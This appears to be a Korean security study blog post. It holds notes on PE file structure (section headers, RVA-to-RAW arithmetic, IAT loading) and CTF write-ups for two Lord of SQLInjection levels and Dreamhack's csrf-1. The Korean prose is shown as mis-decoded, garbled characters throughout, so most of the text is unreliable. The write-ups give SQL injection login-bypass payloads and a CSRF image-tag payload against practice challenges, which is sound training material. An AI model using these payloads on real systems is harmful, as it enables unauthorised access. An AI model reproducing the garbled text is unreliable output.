728x90

PE์˜ ๊ธฐ๋ณธ ๊ตฌ์กฐ

์„น์…˜ ํ—ค๋”

์„น์…˜ ํ—ค๋”: ๊ฐ ์„น์…˜์˜ ์†์„ฑ(property)์„ ์ •์˜ํ•œ ๊ฒƒ

  • ์„น์…˜์„ ๋‚˜๋ˆ ๋‘” ์ด์œ ?
    • ํ”„๋กœ๊ทธ๋žจ์˜ ์•ˆ์ •์„ฑ์„ ์œ„ํ•ด 
    • ๋”ฐ๋ผ์„œ ๊ฐ ์„น์…˜์˜ ์†์„ฑ์„ ๊ธฐ์ˆ ํ•  ์„น์…˜ ํ—ค๋”๊ฐ€ ํ•„์š”ํ•ด์ง.
    • code, data, resource ๋งˆ๋‹ค ๊ฐ์ž์˜ ํŠน์„ฑ, ์ ‘๊ทผ ๊ด€ํ•œ ๋“ฑ์„ ๋‹ค๋ฅด๊ฒŒ ์„ค์ •ํ•  ํ•„์š”๊ฐ€ ์žˆ์Œ.
    • ํŒŒ์ผ/๋ฉ”๋ชจ๋ฆฌ์—์„œ ์‹œ์ž‘ ์œ„์น˜, ํฌ๊ธฐ, ์—‘์„ธ์Šค ๊ถŒํ•œ ๋“ฑ ๊ฐ ์„น์…˜์˜ ์ •๋ณด์™€ ์†์„ฑ, ์ ‘๊ทผ ๊ถŒํ•œ์„ ์ •๋ฆฌํ•ด์„œ ์„น์…˜ ํ—ค๋”์— ๋„ฃ์–ด๋‘ .


  • ์„น์…˜ ํ—ค๋”๋Š” ๊ฐ ์„น์…˜๋ณ„ IMAGE_SECTION_HEADER์˜ ๊ตฌ์กฐ์ฒด ๋ฐฐ์—ด๋กœ ์ด๋ฃจ์–ด์ง
  • Virtual Size: ๋ฉ”๋ชจ๋ฆฌ์—์„œ ์„น์…˜์ด ์ฐจ์ง€ํ•˜๋Š” ํฌ๊ธฐ
  • Virtual Address: ๋ฉ”๋ชจ๋ฆฌ์—์„œ ์„น์…˜์˜ ์‹œ์ž‘ ์ฃผ์†Œ(RVA)
  • SizeOfRawData: ํŒŒ์ผ์—์„œ ์„น์…˜์ด ์ฐจ์ง€ํ•˜๋Š” ํฌ๊ธฐ
  • PointerToRawData: ํŒŒ์ผ์—์„œ ์„น์…˜์˜ ์‹œ์ž‘ ์œ„์น˜
  • Characteristics: ์„น์…˜์˜ ์†์„ฑ(bit OR)

→ VirtualAddress์™€ PointerToRawData๋Š” ์•„๋ฌด ๊ฐ’์ด ์•„๋‹ˆ๋ผ ์•ž์— ์ •์˜๋œ SectionAlignment์™€ FileAlignment์— ๋งž๊ฒŒ ๊ฒฐ์ •.

์ผ๋ฐ˜์ ์œผ๋กœ VirtualSize์™€ SizeOfRawData๋Š” ์„œ๋กœ ๋‹ค๋ฅธ ๊ฐ’

(ํŒŒ์ผ์—์„œ ์„น์…˜์˜ ํฌ๊ธฐ์™€ ๋ฉ”๋ชจ๋ฆฌ์— ๋กœ๋”ฉ๋œ ์„น์…˜์˜ ํฌ๊ธฐ๋Š” ๋‹ค๋ฅด๊ธฐ ๋•Œ๋ฌธ์—)


  • NT HEADER์˜ Characterisitc ํ•ญ๋ชฉ์ฒ˜๋Ÿผ ๋‹ค ๋”ํ•ด์„œ ๋‚˜ํƒ€๋‚ธ๋‹ค.

  • PE ์ŠคํŽ™์—๋Š” Name์„ ์ง€์„ ๋•Œ ๊ทœ์น™์ด ์—†๋‹ค.
  • ๋ฐ์ดํ„ฐ ์„น์…˜ ์ด๋ฆ„์„ .code๋กœ ํ•ด๋„ ์‹คํ–‰์ด ๋œ๋‹ค.
  • ๋”ฐ๋ผ์„œ ์ •๋ณด๊ฐ€ ์•„๋‹ˆ๋ผ ๊ทธ๋ƒฅ ์ฐธ๊ณ ์šฉ์œผ๋กœ ๋ด์•ผ ํ•œ๋‹ค.

  • ์—ฌ๊ธฐ์„œ 'IMAGE'๋Š” ํŒŒ์ผ์—์„œ PE์™€ ๋ฉ”๋ชจ๋ฆฌ์—์„œ PE๊ฐ€ ๋ชจ์–‘์ด ๋‹ค๋ฅด๊ธฐ ๋•Œ๋ฌธ์—, '๋ฉ”๋ชจ๋ฆฌ์— ๋กœ๋”ฉ๋œ PE์˜ ์ƒํƒœ'๋ฅผ ๊ฐ€๋ฆฌํ‚จ๋‹ค.
  • ๊ทธ๋ž˜์„œ ๋ฉ”๋ชจ๋ฆฌ์— ๋กœ๋”ฉ๋œ PE๊ฐ€ ์‹œ์ž‘ํ•˜๋Š” ์ง€์  = ImageBase
  • ๊ฐ ์„น์…˜์˜ ๋ฉ”๋ชจ๋ฆฌ ๋กœ๋”ฉ ์ดํ›„ ๋ฉ”๋ชจ๋ฆฌ ์ฃผ์†Œ์™€ ํŒŒ์ผ ์˜คํ”„์…‹์„ ์ž˜ ๋งค์นญ์‹œํ‚ฌ ์ˆ˜ ์žˆ๋‹ค๋ฉด ๋„์›€์ด ๋จ!

RVA to RAW

  • RVA to RAW: RVA๊ฐ€ ์†ํ•œ ์„น์…˜์„ ์ฐพ์•„์„œ RAW๋ฅผ ์œ„์˜ ๋น„๋ก€์‹์œผ๋กœ ๊ณ„์‚ฐ
  • ๋จผ์ € ํ•ด๋‹น RAV๊ฐ’์ด ์†ํ•œ ์„น์…˜์„ ์ฐพ์•„์•ผ ํ•œ๋‹ค.
    • RVA 5000 → ์ฒซ๋ฒˆ์งธ ํ…์ŠคํŠธ ์„น์…˜์— ์†ํ•ด์žˆ๋‹ค. (ImageBase 01000000์„ ๊ณ ๋ คํ•ด์„œ VA๋ฅผ ๊ตฌํ•  ์ˆ˜ ์žˆ์Œ)
  • ๋น„๋ก€์‹์— ๋”ฐ๋ผ ๊ณ„์‚ฐ
    • RAW = 5000(RVA) - 1000(VirtualAddress, ๋ฉ”๋ชจ๋ฆฌ์—์„œ ํ—ค๋”-ํ…์ŠคํŠธ ์„น์…˜๊นŒ์ง€์˜ ๊ฑฐ๋ฆฌ)+400(PointerToRawData) = 4400
    • VirtualAddress๊ฐ€ 1000์ธ ์ด์œ ๋Š” Memory์—์„œ ์ฒซ ๋ฒˆ์งธ Section์ด 01001000์—์„œ ์‹œ์ž‘ํ•˜๋ฏ€๋กœ 1000์ด๋‹ค. (ImageBase ๊ฐ’์„ ๋นผ๋ฉด) PointerToRawData ๊ฐ’์ด 400์ธ ์ด์œ ๋Š” File์—์„œ ์ฒซ ๋ฒˆ์งธ Section์ด 00000400์—์„œ ์‹œ์ž‘ํ•˜๊ธฐ ๋•Œ๋ฌธ์ด๋‹ค.

์„น์…˜

  • ์„น์…˜ํ—ค๋”๋“ค์ด ์„น์…˜ ํ…Œ์ด๋ธ”์— ์ •๋ฆฌ๋˜์–ด ์žˆ๊ณ , ํ”„๋กœ๊ทธ๋žจ ์‹คํ–‰ ์‹œ ๋กœ๋”๊ฐ€ ๊ฐ ์„น์…˜์„ ๋ฉ”๋ชจ๋ฆฌ์— ๋กœ๋“œํ•˜๊ณ  ์†์„ฑ์„ ์„ค์ •ํ•  ๋•Œ ํ•„์š”ํ•œ ์ •๋ณด๋“ค์ด ๋‹ด๊ฒจ์žˆ๋‹ค.

 

  • ํ”„๋กœ๊ทธ๋žจ๋งˆ๋‹ค ์žˆ๋Š” ์„น์…˜๋„ ์žˆ๊ณ  ์—†๋Š” ์„น์…˜๋„ ์žˆ๋Š”๋ฐ .text ์„น์…˜์€ ๋ชจ๋‘ ํฌํ•จํ•˜๊ณ  ์žˆ๋‹ค.

IAT์™€ EAT

  • IAT(Import Address Table): ํ”„๋กœ๊ทธ๋žจ์ด ์–ด๋–ค ๋ผ์ด๋ธŒ๋Ÿฌ๋ฆฌ์—์„œ ์–ด๋–ค ํ•จ์ˆ˜๋ฅผ ์‚ฌ์šฉํ•˜๊ณ  ์žˆ๋Š”์ง€๋ฅผ ๊ธฐ์ˆ ํ•œ ํ…Œ์ด๋ธ”
  • DLL(Dynamic Linked Library): ๋™์  ์—ฐ๊ฒฐ ๋ผ์ด๋ธŒ๋Ÿฌ๋ฆฌ์˜ ์ค€๋ง
  • ๋“ฑ์žฅ ๋ฐฐ๊ฒฝ
    • 16๋น„ํŠธ DOS์—์„œ๋Š” ์‹คํ–‰ํŒŒ์ผ์— ๋ชจ๋“  ๋ผ์ด๋ธŒ๋Ÿฌ๋ฆฌ ํ•จ์ˆ˜์˜ ๋ฐ”์ด๋„ˆ๋ฆฌ ์ฝ”๋“œ๋ฅผ ๊ฐ€์ง€๊ณ  ์žˆ์—ˆ์Œ.
    • 32๋น„ํŠธ ์œˆ๋„์šฐ ํ™˜๊ฒฝ์„ ์ œ๋Œ€๋กœ ์ง€์›ํ•˜๊ธฐ ์œ„ํ•ด์„œ๋Š” ๊ธฐ๋ณธ์ ์œผ๋กœ ๋งค์šฐ ๋งŽ์€ ๋ผ์ด๋ธŒ๋Ÿฌ๋ฆฌ ํ•จ์ˆ˜(process, memory, window, message)๊ฐ€ ์‚ฌ์šฉ๋จ.
    • ์ด๊ฒƒ์ด ๋ฉ€ํ‹ฐํƒœ์Šคํ‚น์„ ์ง€์›ํ•˜๋Š” Windoes OS์—์„œ๋Š” ์‹ฌ๊ฐํ•œ ๋ฉ”๋ชจ๋ฆฌ/๋””์Šคํฌ ๋‚ญ๋น„๊ฐ€ ๋จ.
    • ๊ทธ๋ž˜์„œ ํ•œ๋ฒˆ ๋กœ๋”ฉ๋œ DLL์˜ ์ฝ”๋“œ, ๋ฆฌ์†Œ์Šค๋ฅผ Memory mapping ๊ธฐ์ˆ ๋กœ ์—ฌ๋Ÿฌ ํ”„๋กœ์„ธ์Šค์—์„œ ๊ณต์œ ํ•ด์„œ ์‚ฌ์šฉํ•˜๋Š” DLL ๊ฐœ๋… ๋“ฑ์žฅ

→ ํ”„๋กœ๊ทธ๋žจ์— ๋ผ์ด๋ธŒ๋Ÿฌ๋ฆฌ๋ฅผ ํฌํ•จ์‹œํ‚ค์ง€ ์•Š๊ณ , ๋ณ„๋„์˜ ํŒŒ์ผ(DLL)๋กœ ๊ตฌ์„ฑํ•ด ํ•„์š”ํ•  ๋•Œ ์“ฐ๋Š” DLL ๊ฐœ๋…์ด ๋“ฑ์žฅํ•จ.

์ด๋Ÿฌ๋ฉด ๋ผ์ด๋ธŒ๋Ÿฌ๋ฆฌ๊ฐ€ ์—…๋ฐ์ดํŠธ๋˜์–ด๋„ ํ•ด๋‹น DLL ํŒŒ์ผ๋งŒ ๊ต์ฒดํ•˜๋ฉด ๋˜๋ฏ€๋กœ ๋งค์šฐ ํŽธํ•˜๋‹ค.


DLL ๋กœ๋”ฉ ๋ฐฉ์‹

  • Explicit Linking(๋ช…์‹œ์  ๋งํ‚น): ํ”„๋กœ๊ทธ๋žจ์—์„œ ์‚ฌ์šฉ๋˜๋Š” ์ˆœ๊ฐ„ ๋กœ๋”ฉ๋˜๊ณ  ์‚ฌ์šฉ์ด ๋๋‚˜๋ฉด ๋ฉ”๋ชจ๋ฆฌ์—์„œ ํ•ด์ œ๋˜๋Š” ๋ฐฉ๋ฒ•
  • Implicit Linking(๋ฌต์‹œ์  ๋งํ‚น): ํ”„๋กœ๊ทธ๋žจ ์‹œ์ž‘ ์‹œ ๋กœ๋”ฉ๋˜์–ด ํ”„๋กœ๊ทธ๋žจ ์ข…๋ฃŒํ•  ๋•Œ ๋ฉ”๋ชจ๋ฆฌ์—์„œ ํ•ด์ œ๋จ

→ IAT๋Š” Implicit Linking์— ๋Œ€ํ•œ ๋ฉ”์ปค๋‹ˆ์ฆ˜์„ ์ €์žฅํ•œ ํ˜•ํƒœ

Explicit Linking์ด ์“ธ ๋•Œ๋งŒ ์—ฐ๊ฒฐํ•˜๋‹ˆ๊นŒ ๋ณด์•ˆ์ ์œผ๋กœ ํ›จ์”ฌ ์•ˆ์ „ํ•˜๊ธฐ ํ•˜์ง€๋งŒ, ์ค€๋น„ํ•ด์•ผ ํ•  ๊ฒƒ์ด๋‚˜ ์š”๊ฑด์ด ๋งŽ์•„์„œ ๋‚œ์ด๋„๊ฐ€ ๋†’๋‹ค.


  1. CreateFileW๋ฅผ ํ˜ธ์ถœํ•จ
  2. 01001104์˜ ๊ฐ’์„ ๊ฐ€์ ธ์™€์„œ ํ˜ธ์ถœํ•จ
  3. .text ์„น์…˜์˜ ๋ฉ”๋ชจ๋ฆฌ ์˜์—ญ์— ์œ„์น˜ํ•œ 01001104 ์ฃผ์†Œ์—๋Š” 7C8107F0์ด ์ €์žฅ๋˜์–ด ์žˆ์Œ
  4. 7C8107F0 ์ฃผ์†Œ์—๋Š” notepad.exe์˜ ํ”„๋กœ์„ธ์„œ ๋ฉ”๋ชจ๋ฆฌ์— ๋กœ๋”ฉ๋œ kernel32.dll์˜ CreateFileW ํ•จ์ˆ˜๊ฐ€ ๋“ค์–ด์žˆ์Œ
Call 7C8107F0์ด๋ผ๊ณ  ์•ˆํ•˜๊ณ  ์ด๋Ÿฐ ๊ท€์ฐฎ์€ ํ˜•ํƒœ๋ฅผ ์ทจํ•˜๋Š” ์ด์œ :
์žฌ๋ฐฐ์น˜ ๋ฌธ์ œ๋„ ์žˆ๊ณ  ํ”„๋กœ๊ทธ๋žจ ์‹คํ–‰ ํ™˜๊ฒฝ์— ๋”ฐ๋ผ kernel32.dll์˜ ๋ฒ„์ „์ด ๋‹ฌ๋ผ์ง€๊ณ , CreateFileW์˜ ์ฃผ์†Œ๋„ ๋‹ฌ๋ผ์ง€๊ธฐ ๋•Œ๋ฌธ์— ์‹ค์ œ ์ฃผ์†Œ๊ฐ€ ์ €์žฅ๋  ์œ„์น˜(01001104)๋ฅผ ์ค€๋น„ํ•˜๊ณ , ๋ช…๋ น์–ด์— ๋ณ€์ˆ˜๋กœ ์ด ์ฃผ์†Œ๋ฅผ ๋„ฃ์–ด๋‘ .
๊ทธ๋ฆฌ๊ณ  ํŒŒ์ผ์ด ์‹คํ–‰๋˜๋Š” ์ˆœ๊ฐ„, PE ๋กœ๋”๊ฐ€ 01001104 ์œ„์น˜์— CreateFileW์˜ ์œ„์น˜๋ฅผ ์ž…๋ ฅํ•ด ์ฃผ๋Š” ๊ฒƒ.
cf) dll์€ ์œ„์น˜๊ฐ€ ๋‹ฌ๋ผ์ง€๊ณ , exe๋Š” imagebase๊ฐ€ ์žˆ๊ธฐ ๋•Œ๋ฌธ์— ์ •ํ™•ํžˆ ๋กœ๋”ฉ๋œ๋‹ค.

 


IMAGE_IMPORT_DESCRIPTOR

  • IMPORT_DATA_DESCRIPTOR ์ž๋ฃŒ๊ตฌ์กฐ์—๋Š” ์‹คํ–‰ํŒŒ์ผ์ด ์ฐธ์กฐํ•˜๋Š” DLL(Dynamic Link Library), API์™€ ๊ด€๋ จ๋œ ์ •๋ณด๋“ค์ด ๋ช…์‹œ๋˜์–ด ์žˆ์Œ.
  • Import๋Š” library์—๊ฒŒ ์„œ๋น„์Šค(ํ•จ์ˆ˜)๋ฅผ ์ œ๊ณต๋ฐ›๋Š” ์ผ์ด๊ณ , Export๋Š” library ์ž…์žฅ์—์„œ ๋‹ค๋ฅธ PE์—๊ฒŒ ์„œ๋น„์Šค(ํ•จ์ˆ˜)๋ฅผ ์ œ๊ณตํ•˜๋Š” ์ผ์ž„
  • ๋ผ์ด๋ธŒ๋Ÿฌ๋ฆฌ ๋งˆ๋‹ค ์ด ๊ตฌ์กฐ์ฒด๊ฐ€ ๋งŒ๋“ค์–ด์ง€๊ณ , ์ด ๋ผ์ด๋ธŒ๋Ÿฌ๋ฆฌ๋ฅผ import ํ•˜๋Š” ํ”„๋กœ๊ทธ๋žจ์˜ import ํ…Œ์ด๋ธ”์— ์ด ๊ตฌ์กฐ์ฒด๊ฐ€ ์†ํ•จ.
  • ๋ณดํ†ต ํ”„๋กœ๊ทธ๋žจ์€ ์—ฌ๋Ÿฌ ๊ฐœ์˜ ๋ผ์ด๋ธŒ๋Ÿฌ๋ฆฌ๋ฅผ import ํ•˜๋ฏ€๋กœ, ๋ผ์ด๋ธŒ๋Ÿฌ๋ฆฌ ๊ฐœ์ˆ˜๋งŒํผ ์ด ๊ตฌ์กฐ์ฒด๊ฐ€ ๋ฐฐ์—ด์— ๋“ค์–ด์žˆ๊ณ , ์ด ๋ฐฐ์—ด์˜ ๋งˆ์ง€๋ง‰์€ NULL ๊ตฌ์กฐ์ฒด๋กœ ๋๋‚จ.
  • ๋”ฐ๋ผ์„œ import ํ…Œ์ด๋ธ”์˜ ์ „์ฒด ์—”ํŠธ๋ฆฌ ๊ฐœ์ˆ˜๋Š” import ํ•œ DLL+1

๋ชจ๋‘ RVA ๊ธฐ์ค€


์ž„ํฌํŠธ ํ•จ์ˆ˜ ์ฃผ์†Œ๋ฅผ IAT์— ์ž…๋ ฅ

notepad.exe๊ฐ€ kernel32.dll์„ ์ž„ํฌํŠธํ•  ๋•Œ IMAGE_IMPORT_DESCRIPTOR์˜ ์ƒ๊น€์ƒˆ

<PE๋กœ๋”๊ฐ€ ์ž„ํฌํŠธ ํ•จ์ˆ˜ ์ฃผ์†Œ๋ฅผ IAT์— ์ž…๋ ฅํ•˜๋Š” ๊ธฐ๋ณธ์ ์ธ ์ˆœ์„œ>

  1. IID์˜ Name ๋ฉค๋ฒ„๋ฅผ ์ฝ์–ด์„œ ๋ผ์ด๋ธŒ๋Ÿฌ๋ฆฌ์˜ ์ด๋ฆ„ ๋ฌธ์ž์—ด(kernel32.dll)์„ ์–ป์Œ
  2. ํ•ด๋‹น ๋ผ์ด๋ธŒ๋Ÿฌ๋ฆฌ๋ฅผ ๋กœ๋”ฉํ•จ → LoadLibrary("kernel32.dll")
  3. IID์˜ OriginalFirstThunk ๋ฉค๋ฒ„๋ฅผ ์ฝ์–ด์„œ INT ์ฃผ์†Œ๋ฅผ ์–ป์Œ
  4. INT์—์„œ ๋ฐฐ์—ด์˜ ๊ฐ’์„ ์ฝ์–ด์™€์„œ ํ•ด๋‹น IMAGE_IMPORT_BY_NAME ์ฃผ์†Œ(RVA)๋ฅผ ์–ป์Œ
  5. IMAGE_IMPORT_BY_NAME์˜ Hint(Original)๋‚˜ Name ํ•ญ๋ชฉ์„ ์ด์šฉํ•ด์„œ ํ•ด๋‹น ํ•จ์ˆ˜์˜ ์‹œ์ž‘ ์ฃผ์†Œ๋ฅผ ์–ป์Œ → GetProcAddress("GetCurrentThreadld")
  6. IID์˜ FirstThunk(IAT) ๋ฉค๋ฒ„๋ฅผ ์ฝ์–ด์„œ IAT ์ฃผ์†Œ๋ฅผ ์–ป์Œ
  7. ํ•ด๋‹น IAT ๋ฐฐ์—ด ๊ฐ’์— ์œ„์—์„œ ๊ตฌํ•œ ํ•จ์ˆ˜ ์ฃผ์†Œ๋ฅผ ์ž…๋ ฅํ•จ
  8. INT๊ฐ€ ๋๋‚  ๋•Œ๊นŒ์ง€ (NULL์„ ๋งŒ๋‚  ๋•Œ๊นŒ์ง€ ์œ„ ๊ณผ์ •์„ ๋ฐ˜๋ณตํ•จ)
์›๋ž˜ INT์™€ IAT์˜ ๋‚ด์šฉ๋ฌผ์€ ์™„์ „ํžˆ ๋˜‘๊ฐ™์Œ.

PE๋กœ๋”๊ฐ€ IID์˜ OriginalFirstThunk๋ฅผ ํƒ€๊ณ  INT ์ฃผ์†Œ๋ฅผ ์•Œ์•„๋‚ด๊ณ , INT์—์„œ IMAGE_IMPORT_BY_NAME์˜ ์ฃผ์†Œ๋ฅผ ์•Œ์•„์˜ค๊ณ , GetProcAddress(“GetCurrentThreadId”) ํ•จ์ˆ˜๋ฅผ ์ด์šฉํ•ด์„œ ํ•จ์ˆ˜์˜ ์‹ค์ œ ์ฃผ์†Œ(๋กœ๋”ฉ๋œ ์ฃผ์†Œ)๋ฅผ ์•Œ์•„์˜ด.

๊ทธ๋ฆฌ๊ณ  ๊ทธ๊ฒƒ์„ IAT์— ์ž…๋ ฅํ•จ. ๊ทธ๋ž˜์„œ INT๋ฅผ ๊ฐ€๋ฆฌํ‚ค๋Š” ๋ฉค๋ฒ„๋Š” originalfirstthunk์ธ๊ฑฐ๊ณ , IAT๋ฅผ ๊ฐ€๋ฆฌํ‚ค๋Š” ๋ฉค๋ฒ„๋Š” ๊ทธ๋ƒฅ firstthunk ๋ฉค๋ฒ„์ธ ๊ฒƒ.

 

  • lMAGE_OPTIONAL_HEADER32.DataDirectory[1].Virtual Address๊ฐ’์ด ์‹ค์ œ lMAGE_IMPORT _DESCRIPTOR์˜ ์‹œ์ž‘์ฃผ์†Œ
  • IMAGE_IMPORT_DESCRIPTOR ๊ตฌ์กฐ์ฒด ๋ฐฐ์—ด์„ ๋‹ค๋ฅธ ๋ง๋กœ IMPORT directory table์ด๋ผ๊ณ ๋„ ํ•จ.
  • ์ด ๊ตฌ์กฐ์ฒด ๋ฐฐ์—ด์€ PEํ—ค๋”๊ฐ€ ์•„๋‹ˆ๋ผ ๋ฐ”๋””์— ์œ„์น˜ํ•จ. ์ง€๋‚œ๋ฒˆ์— ๋ฐฐ์šด optional header์˜ datadirectory ์ค‘ import table์˜ ๊ฐ’์ด ์—ฌ๊ธฐ์„œ IMAGE_IMPORT_DESCRIPTOR๋ฅผ ๊ฐ€๋ฆฌํ‚ค๊ณ  ์žˆ๋Š” ๊ฒƒ!

 

 

 

https://jamielim.tistory.com/54

 

[Reversing] IAT์™€ EAT ๋กœ๋”ฉ ๊ณผ์ •

IAT ๋กœ๋”ฉ ๊ณผ์ • DLL์ด๋ž€? Dynamic Link Library, ๋™์ ๋งํฌ๋กœ ์‹คํ–‰ํŒŒ์ผ์—์„œ ํ•ด๋‹น ๋ผ์ด๋ธŒ๋Ÿฌ๋ฆฌ ๊ธฐ๋Šฅ์„ ์‚ฌ์šฉ์‹œ์—๋งŒ ์ฐธ์กฐํ•ด ๊ธฐ๋Šฅ์„ ํ˜ธ์ถœํ•  ์ˆ˜ ์žˆ๋Š” ๋ฐฉ๋ฒ•์ด๋‹ค. ์—ฌ๋Ÿฌ ํ”„๋กœ์„ธ์Šค์—์„œ ๊ณต์œ ํ•˜๋ฉฐ ์“ฐ๋Š” ๋ผ์ด๋ธŒ๋Ÿฌ๋ฆฌ๋กœ

jamielim.tistory.com

 

 

728x90

1. ctf 3๋ฌธ์ œ Write-up ์ž‘์„ฑ

https://los.rubiya.kr/gate.php

 

https://los.rubiya.kr/gate.php

 

los.rubiya.kr

 

# LORD OF SQLINJECTION - gremlin

  • ๋จผ์ € ์ฝ”๋“œ๋ฅผ ๋ถ„์„ํ•œ ๊ฒฐ๊ณผ ์‚ฌ์šฉ์ž ์ž…๋ ฅ ๊ฐ’ $_GET['id']์™€ $_GET['pw']๋ฅผ ๊ทธ๋Œ€๋กœ ์ฟผ๋ฆฌ์— ๋„ฃ๊ณ  ์žˆ๋‹ค๋Š” ๊ฒƒ์„ ์•Œ์•„๋ƒˆ์Šต๋‹ˆ๋‹ค.
  • ์ž…๋ ฅ๊ฐ’์ด ์ง์ ‘ SQL ์ฟผ๋ฆฌ๋กœ ๋“ค์–ด๊ฐ€๊ธฐ ๋•Œ๋ฌธ์— SQL Injection์— ์ทจ์•ฝํ•  ์ˆ˜ ์žˆ๋‹ค.

  • SQL ์‚ฝ์ž… ๊ณต๊ฒฉ ์ค‘ ๊ฐ€์žฅ ์ผ๋ฐ˜์ ์ธ ' or '1'=1 ๋ฐฉ๋ฒ•์„ ์‹œ๋„ํ•˜์—ฌ ํ•ญ์ƒ ์ฐธ์ธ ์กฐ๊ฑด์„ ๋งŒ๋“ค์–ด ๋ชจ๋“  ๋ ˆ์ฝ”๋“œ๋ฅผ ๊ฐ€์ ธ์˜ค๊ฒŒ ํ•˜๋ ค๊ณ  ?id=' OR '1'='1&pw=' OR '1'=1๋กœ ์ฟผ๋ฆฌ๋ฌธ์„ ๋ณ€๊ฒฝํ–ˆ๊ณ  ๊ทธ ๊ฒฐ๊ณผ ๋ฌธ์ œ๋ฅผ ํ•ด๊ฒฐํ–ˆ์Šต๋‹ˆ๋‹ค.

# LORD OF SQLINJECTION - cobolt

  • ๋จผ์ € ์ฝ”๋“œ๋ฅผ ๋ถ„์„ํ•œ ๊ฒฐ๊ณผ id๊ฐ€ 'admin'์œผ๋กœ ์ถฉ์กฑ๋งŒ ํ•˜๋ฉด pw๋Š” ๊ณ ๋ ค ์•ˆ ํ•ด๋„ ๋œ๋‹ค๋Š” ๊ฒƒ์„ ์•Œ์•„๋ƒˆ์Šต๋‹ˆ๋‹ค.

  • ์ฒ˜์Œ์— id๊ฐ€ admin์ด๋ฉด ์ถฉ์กฑ์ด ๋˜๊ฒ ๋‹ค๋Š” ์ƒ๊ฐ์— ?id=admin์„ ๋„ฃ์—ˆ์ง€๋งŒ pw์„ ์ถฉ์กฑํ•˜์ง€ ๋ชปํ•ด ํ•ด๊ฒฐ์ด ๋˜์ง€ ์•Š์•˜์Šต๋‹ˆ๋‹ค.
  • ๊ทธ๋ž˜์„œ, id๊ฐ’์ด ์ถฉ์กฑ๋งŒ ๋˜๋ฉด ๋˜๋‹ˆ๊น ๋’ค pw๋ฅผ ์ฃผ์„์ฒ˜๋ฆฌ๋ฅผ ํ•ด์„œ ๋ฌด์‹œ๋ฅผ ํ•ด์•ผ๊ฒ ๋‹ค๋Š” ์ƒ๊ฐ์— ์ฃผ์„์ฒ˜๋ฆฌ #์„ ์‚ฌ์šฉํ–ˆ์ง€๋งŒ ์ฒ˜๋ฆฌ๋˜์ง€ ์•Š์•˜์Šต๋‹ˆ๋‹ค.
  • ์ฐพ์•„๋ณธ ๊ฒฐ๊ณผ #์€ urlencoding๋ฐฉ์‹์œผ๋กœ %23๋ผ๊ณ  ์ ์–ด์ค˜์•ผ ํ•œ๋‹ค๋Š” ๊ฒƒ์„ ์•Œ์•„๋ƒˆ์Šต๋‹ˆ๋‹ค.
  • ?id=admin'%23 ๋„ฃ์—ˆ๋”๋‹ˆ ๋ฌธ์ œ๋ฅผ ํ•ด๊ฒฐํ–ˆ์Šต๋‹ˆ๋‹ค.

# Dreamhack: csrf-1

https://dreamhack.io/wargame/challenges/26

 

csrf-1

์—ฌ๋Ÿฌ ๊ธฐ๋Šฅ๊ณผ ์ž…๋ ฅ๋ฐ›์€ URL์„ ํ™•์ธํ•˜๋Š” ๋ด‡์ด ๊ตฌํ˜„๋œ ์„œ๋น„์Šค์ž…๋‹ˆ๋‹ค. CSRF ์ทจ์•ฝ์ ์„ ์ด์šฉํ•ด ํ”Œ๋ž˜๊ทธ๋ฅผ ํš๋“ํ•˜์„ธ์š”. ๋ฌธ์ œ ์ˆ˜์ • ๋‚ด์—ญ 2023.07.18 css, html ์ œ๊ณต ๋ฐ read_url() ์ฝ”๋“œ ์ผ๋ถ€๊ฐ€ ๋ณ€๊ฒฝ๋˜์—ˆ์Šต๋‹ˆ๋‹ค. Referen

dreamhack.io

๋ฌธ์ œ ์„ค๋ช…

์—ฌ๋Ÿฌ ๊ธฐ๋Šฅ๊ณผ ์ž…๋ ฅ๋ฐ›์€ URL์„ ํ™•์ธํ•˜๋Š” ๋ด‡์ด ๊ตฌํ˜„๋œ ์„œ๋น„์Šค์ž…๋‹ˆ๋‹ค.

CSRF ์ทจ์•ฝ์ ์„ ์ด์šฉํ•ด ํ”Œ๋ž˜๊ทธ๋ฅผ ํš๋“ํ•˜์„ธ์š”.

 

    • ๋จผ์ € ๊ฐ ํŽ˜์ด์ง€๋ฅผ ํ™•์ธํ•ด ๋ดค๋”๋‹ˆ vuln(csrf) page๋Š” csrf ํŒŒ๋ผ๋ฏธํ„ฐ๋กœ alert(1)๋ฅผ ์‹คํ–‰ํ•˜๋Š” ์Šคํฌ๋ฆฝํŠธ ๊ตฌ๋ฌธ์„ ์ „๋‹ฌํ•˜๊ณ  script ๊ตฌ๋ฌธ์ด ํ•„ํ„ฐ๋ง๋œ ๊ฒƒ์„ ๋ณผ ์ˆ˜ ์žˆ์—ˆ์Šต๋‹ˆ๋‹ค.

  • memo ํŽ˜์ด์ง€๋Š” memo ํŒŒ๋ผ๋ฏธํ„ฐ๋กœ hello๋ฅผ ์ „๋‹ฌํ•˜๊ณ  hello๋ฅผ ์ถœ๋ ฅํ•œ๋‹ค.

 

  • notice flagํŽ˜์ด์ง€๋Š” admin ๊ณ„์ • ๊ถŒํ•œ์— ์†ํ•ด์žˆ๊ณ  Access Denied ๋ฌธ๊ตฌ๊ฐ€ ์ถœ๋ ฅ๋์Šต๋‹ˆ๋‹ค.

 

  • flag ํŽ˜์ด์ง€๋Š” ์ฝ”๋“œ๋ฅผ ๊ธฐ์ž…ํ•  ์ˆ˜ ์žˆ๋‹ค๋Š” ๊ฒƒ์„ ํ™•์ธํ–ˆ์Šต๋‹ˆ๋‹ค.
@app.route("/memo")
def memo():
    global memo_text
    text = request.args.get("memo", None)
    if text:
        memo_text += text
    return render_template("memo.html", memo=memo_text)


@app.route("/admin/notice_flag")
def admin_notice_flag():
    global memo_text
    if request.remote_addr != "127.0.0.1":
        return "Access Denied"
    if request.args.get("userid", "") != "admin":
        return "Access Denied 2"
    memo_text += f"[Notice] flag is {FLAG}\n"
    return "Ok"
  • ๊ทธ๋‹ค์Œ, ์ฝ”๋“œ๋ฅผ ๋ถ„์„ํ–ˆ๋”๋‹ˆ userid๊ฐ€ admin์ผ ๋•Œ /memo ํŽ˜์ด์ง€์— ํ”Œ๋ž˜๊ทธ๊ฐ€ ์ถ”๊ฐ€๋œ๋‹ค๋Š” ๊ฒƒ์„ ์•Œ์•„๋ƒˆ์Šต๋‹ˆ๋‹ค.

<img src="/admin/notice_flag?userid=admin">

  • ์ฝ”๋“œ๋ฅผ /flag ํŽ˜์ด์ง€์— ๋„ฃ์–ด์„œ ์‹คํ–‰ํ–ˆ๋”๋‹ˆ ํ”Œ๋ž˜๊ทธ๋ฅผ ์–ป์„ ์ˆ˜ ์žˆ์—ˆ์Šต๋‹ˆ๋‹ค! 

